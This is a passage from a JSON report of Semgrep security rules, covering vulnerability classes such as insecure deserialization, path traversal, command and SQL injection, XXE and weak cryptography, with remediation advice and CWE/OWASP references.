Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-numpy-pickle-aws-lambda.tainted-numpy-pickle-aws-lambda)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://numpy.org/doc/stable/reference/generated/numpy.load.html](https://numpy.org/doc/stable/reference/generated/numpy.load.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. Do not turn this on with `allow_pickle=True` when loading data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-numpy-pickle-aws-lambda.tainted-numpy-pickle-aws-lambda","id":"python.aws-lambda.deserialization.tainted-numpy-pickle-aws-lambda.tainted-numpy-pickle-aws-lambda","name":"python.aws-lambda.deserialization.tainted-numpy-pickle-aws-lambda.tainted-numpy-pickle-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-numpy-pickle-aws-lambda.tainted-numpy-pickle-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Initialization Vectors (IVs) for block ciphers should be randomly generated each time they are used. Using a static IV means the same plaintext encrypts to the same ciphertext every time, weakening the strength of the encryption."},"help":{"markdown":"Initialization Vectors (IVs) for block ciphers should be randomly generated each time they are used. Using a static IV means the same plaintext encrypts to the same ciphertext every time, weakening the strength of the encryption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.no-static-initialization-vector.no-static-initialization-vector)\n - [https://cwe.mitre.org/data/definitions/329.html](https://cwe.mitre.org/data/definitions/329.html)\n","text":"Initialization Vectors (IVs) for block ciphers should be randomly generated each time they are used. Using a static IV means the same plaintext encrypts to the same ciphertext every time, weakening the strength of the encryption."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.no-static-initialization-vector.no-static-initialization-vector","id":"java.lang.security.audit.crypto.no-static-initialization-vector.no-static-initialization-vector","name":"java.lang.security.audit.crypto.no-static-initialization-vector.no-static-initialization-vector","properties":{"precision":"very-high","tags":["CWE-329: Generation of Predictable IV with CBC Mode","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.no-static-initialization-vector.no-static-initialization-vector"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.httpservlet-path-traversal-deepsemgrep.httpservlet-path-traversal-deepsemgrep)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.servlets.security.httpservlet-path-traversal-deepsemgrep.httpservlet-path-traversal-deepsemgrep","id":"java.servlets.security.httpservlet-path-traversal-deepsemgrep.httpservlet-path-traversal-deepsemgrep","name":"java.servlets.security.httpservlet-path-traversal-deepsemgrep.httpservlet-path-traversal-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.httpservlet-path-traversal-deepsemgrep.httpservlet-path-traversal-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.excon.ruby-excon-hardcoded-secret.ruby-excon-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.excon.ruby-excon-hardcoded-secret.ruby-excon-hardcoded-secret","id":"ruby.excon.ruby-excon-hardcoded-secret.ruby-excon-hardcoded-secret","name":"ruby.excon.ruby-excon-hardcoded-secret.ruby-excon-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.excon.ruby-excon-hardcoded-secret.ruby-excon-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found user controlled content when spawning a process. This is dangerous because it allows a malicious actor to execute commands."},"help":{"markdown":"Found user controlled content when spawning a process. This is dangerous because it allows a malicious actor to execute commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.dangerous-os-exec.dangerous-os-exec)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Found user controlled content when spawning a process. This is dangerous because it allows a malicious actor to execute commands."},"helpUri":"https://semgrep.dev/r/python.lang.security.dangerous-os-exec.dangerous-os-exec","id":"python.lang.security.dangerous-os-exec.dangerous-os-exec","name":"python.lang.security.dangerous-os-exec.dangerous-os-exec","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.dangerous-os-exec.dangerous-os-exec"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.mysql.python-mysql-hardcoded-secret.python-mysql-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.mysql.python-mysql-hardcoded-secret.python-mysql-hardcoded-secret","id":"python.mysql.python-mysql-hardcoded-secret.python-mysql-hardcoded-secret","name":"python.mysql.python-mysql-hardcoded-secret.python-mysql-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.mysql.python-mysql-hardcoded-secret.python-mysql-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the use of 'RawSQL' or 'raw' indicating the execution of a non-parameterized SQL query. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use Django ORM and parameterized queries before raw SQL. An example of using the Django ORM is: `People.objects.get(name='Bob')`"},"help":{"markdown":"Detected the use of 'RawSQL' or 'raw' indicating the execution of a non-parameterized SQL query. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use Django ORM and parameterized queries before raw SQL. An example of using the Django ORM is: `People.objects.get(name='Bob')`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.raw-query.avoid-raw-sql)\n - [https://docs.djangoproject.com/en/3.0/ref/models/expressions/#raw-sql-expressions](https://docs.djangoproject.com/en/3.0/ref/models/expressions/#raw-sql-expressions)\n - [https://semgrep.dev/blog/2020/preventing-sql-injection-a-django-authors-perspective/](https://semgrep.dev/blog/2020/preventing-sql-injection-a-django-authors-perspective/)\n","text":"Detected the use of 'RawSQL' or 'raw' indicating the execution of a non-parameterized SQL query. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use Django ORM and parameterized queries before raw SQL. An example of using the Django ORM is: `People.objects.get(name='Bob')`"},"helpUri":"https://semgrep.dev/r/python.django.security.audit.raw-query.avoid-raw-sql","id":"python.django.security.audit.raw-query.avoid-raw-sql","name":"python.django.security.audit.raw-query.avoid-raw-sql","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.raw-query.avoid-raw-sql"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The BinaryFormatter type is dangerous and is not recommended for data processing. Applications should stop using BinaryFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. BinaryFormatter is insecure and can't be made secure"},"help":{"markdown":"The BinaryFormatter type is dangerous and is not recommended for data processing. Applications should stop using BinaryFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. BinaryFormatter is insecure and can't be made secure\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.binary-formatter.insecure-binaryformatter-deserialization)\n - [https://docs.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-security-guide](https://docs.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-security-guide)\n","text":"The BinaryFormatter type is dangerous and is not recommended for data processing. Applications should stop using BinaryFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. BinaryFormatter is insecure and can't be made secure"},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.binary-formatter.insecure-binaryformatter-deserialization","id":"csharp.lang.security.insecure-deserialization.binary-formatter.insecure-binaryformatter-deserialization","name":"csharp.lang.security.insecure-deserialization.binary-formatter.insecure-binaryformatter-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.binary-formatter.insecure-binaryformatter-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Cross-site scripting detected in HttpServletResponse writer with variable '$VAR'. User input was detected going directly from the HttpServletRequest into output. Ensure your data is properly encoded using org.owasp.encoder.Encode.forHtml: 'Encode.forHtml($VAR)'."},"help":{"markdown":"Cross-site scripting detected in HttpServletResponse writer with variable '$VAR'. User input was detected going directly from the HttpServletRequest into output. Ensure your data is properly encoded using org.owasp.encoder.Encode.forHtml: 'Encode.forHtml($VAR)'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.servletresponse-writer-xss.servletresponse-writer-xss)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Cross-site scripting detected in HttpServletResponse writer with variable '$VAR'. User input was detected going directly from the HttpServletRequest into output. Ensure your data is properly encoded using org.owasp.encoder.Encode.forHtml: 'Encode.forHtml($VAR)'."},"helpUri":"https://semgrep.dev/r/java.lang.security.servletresponse-writer-xss.servletresponse-writer-xss","id":"java.lang.security.servletresponse-writer-xss.servletresponse-writer-xss","name":"java.lang.security.servletresponse-writer-xss.servletresponse-writer-xss","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.servletresponse-writer-xss.servletresponse-writer-xss"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.sqli.entityframework-taint-grpc.entityframework-taint-grpc)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.sqli.entityframework-taint-grpc.entityframework-taint-grpc","id":"csharp.dotnet-core.sqli.entityframework-taint-grpc.entityframework-taint-grpc","name":"csharp.dotnet-core.sqli.entityframework-taint-grpc.entityframework-taint-grpc","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.sqli.entityframework-taint-grpc.entityframework-taint-grpc"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Ensure your variables are not controlled by users or sufficiently sanitized."},"help":{"markdown":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Ensure your variables are not controlled by users or sufficiently sanitized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.dangerous-seq-run.dangerous-seq-run)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Ensure your variables are not controlled by users or sufficiently sanitized."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.dangerous-seq-run.dangerous-seq-run","id":"scala.lang.security.audit.dangerous-seq-run.dangerous-seq-run","name":"scala.lang.security.audit.dangerous-seq-run.dangerous-seq-run","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.dangerous-seq-run.dangerous-seq-run"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"help":{"markdown":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.java-jwt.security.jwt-none-alg.java-jwt-none-alg)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"helpUri":"https://semgrep.dev/r/java.java-jwt.security.jwt-none-alg.java-jwt-none-alg","id":"java.java-jwt.security.jwt-none-alg.java-jwt-none-alg","name":"java.java-jwt.security.jwt-none-alg.java-jwt-none-alg","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.java-jwt.security.jwt-none-alg.java-jwt-none-alg"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the XMLReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")`, configuring the both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the XMLReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")`, configuring the both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xxe.tainted-xmlreader-xxe-spring.tainted-xmlreader-xxe-spring)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the XMLReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")`, configuring the both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.xxe.tainted-xmlreader-xxe-spring.tainted-xmlreader-xxe-spring","id":"java.spring.security.xxe.tainted-xmlreader-xxe-spring.tainted-xmlreader-xxe-spring","name":"java.spring.security.xxe.tainted-xmlreader-xxe-spring.tainted-xmlreader-xxe-spring","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xxe.tainted-xmlreader-xxe-spring.tainted-xmlreader-xxe-spring"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The SHA1 hashing algorithm is considered to be weak. If this is used in any sensitive operation such as password hashing, or is used to ensure data integrity (collision sensitive) then you should use a stronger hashing algorithm. For passwords, consider using `Argon2id`, `scrypt`, or `bcrypt`. For data integrity, consider using `SHA-256`."},"help":{"markdown":"The SHA1 hashing algorithm is considered to be weak. If this is used in any sensitive operation such as password hashing, or is used to ensure data integrity (collision sensitive) then you should use a stronger hashing algorithm. For passwords, consider using `Argon2id`, `scrypt`, or `bcrypt`. For data integrity, consider using `SHA-256`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jssha.jssha-sha1.jssha-sha1)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The SHA1 hashing algorithm is considered to be weak. If this is used in any sensitive operation such as password hashing, or is used to ensure data integrity (collision sensitive) then you should use a stronger hashing algorithm. For passwords, consider using `Argon2id`, `scrypt`, or `bcrypt`. For data integrity, consider using `SHA-256`."},"helpUri":"https://semgrep.dev/r/javascript.jssha.jssha-sha1.jssha-sha1","id":"javascript.jssha.jssha-sha1.jssha-sha1","name":"javascript.jssha.jssha-sha1.jssha-sha1","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jssha.jssha-sha1.jssha-sha1"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected string concatenation or formatting in a call to a command via 'sh'. This could be a command injection vulnerability if the data is user-controlled. Instead, use a list and append the argument."},"help":{"markdown":"Detected string concatenation or formatting in a call to a command via 'sh'. This could be a command injection vulnerability if the data is user-controlled. Instead, use a list and append the argument.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.sh.security.string-concat.string-concat)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected string concatenation or formatting in a call to a command via 'sh'. This could be a command injection vulnerability if the data is user-controlled. Instead, use a list and append the argument."},"helpUri":"https://semgrep.dev/r/python.sh.security.string-concat.string-concat","id":"python.sh.security.string-concat.string-concat","name":"python.sh.security.string-concat.string-concat","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.sh.security.string-concat.string-concat"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"sqlalchemy.text passes the constructed SQL statement to the database mostly unchanged. This means that the usual SQL injection protections are not applied and this function is vulnerable to SQL injection if user input can reach here. Use normal SQLAlchemy operators (such as or_, and_, etc.) to construct SQL."},"help":{"markdown":"sqlalchemy.text passes the constructed SQL statement to the database mostly unchanged. This means that the usual SQL injection protections are not applied and this function is vulnerable to SQL injection if user input can reach here. Use normal SQLAlchemy operators (such as or_, and_, etc.) to construct SQL.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.sqlalchemy.security.audit.avoid-sqlalchemy-text.avoid-sqlalchemy-text)\n - [https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql](https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql)\n","text":"sqlalchemy.text passes the constructed SQL statement to the database mostly unchanged. This means that the usual SQL injection protections are not applied and this function is vulnerable to SQL injection if user input can reach here. Use normal SQLAlchemy operators (such as or_, and_, etc.) to construct SQL."},"helpUri":"https://semgrep.dev/r/python.sqlalchemy.security.audit.avoid-sqlalchemy-text.avoid-sqlalchemy-text","id":"python.sqlalchemy.security.audit.avoid-sqlalchemy-text.avoid-sqlalchemy-text","name":"python.sqlalchemy.security.audit.avoid-sqlalchemy-text.avoid-sqlalchemy-text","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.sqlalchemy.security.audit.avoid-sqlalchemy-text.avoid-sqlalchemy-text"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a paramiko host key policy that implicitly trusts a server's host key. Host keys should be verified to ensure the connection is not to a malicious server. Use RejectPolicy or a custom subclass instead."},"help":{"markdown":"Detected a paramiko host key policy that implicitly trusts a server's host key. Host keys should be verified to ensure the connection is not to a malicious server. Use RejectPolicy or a custom subclass instead.\n\n<b>References:</b>\n - [Semgrep 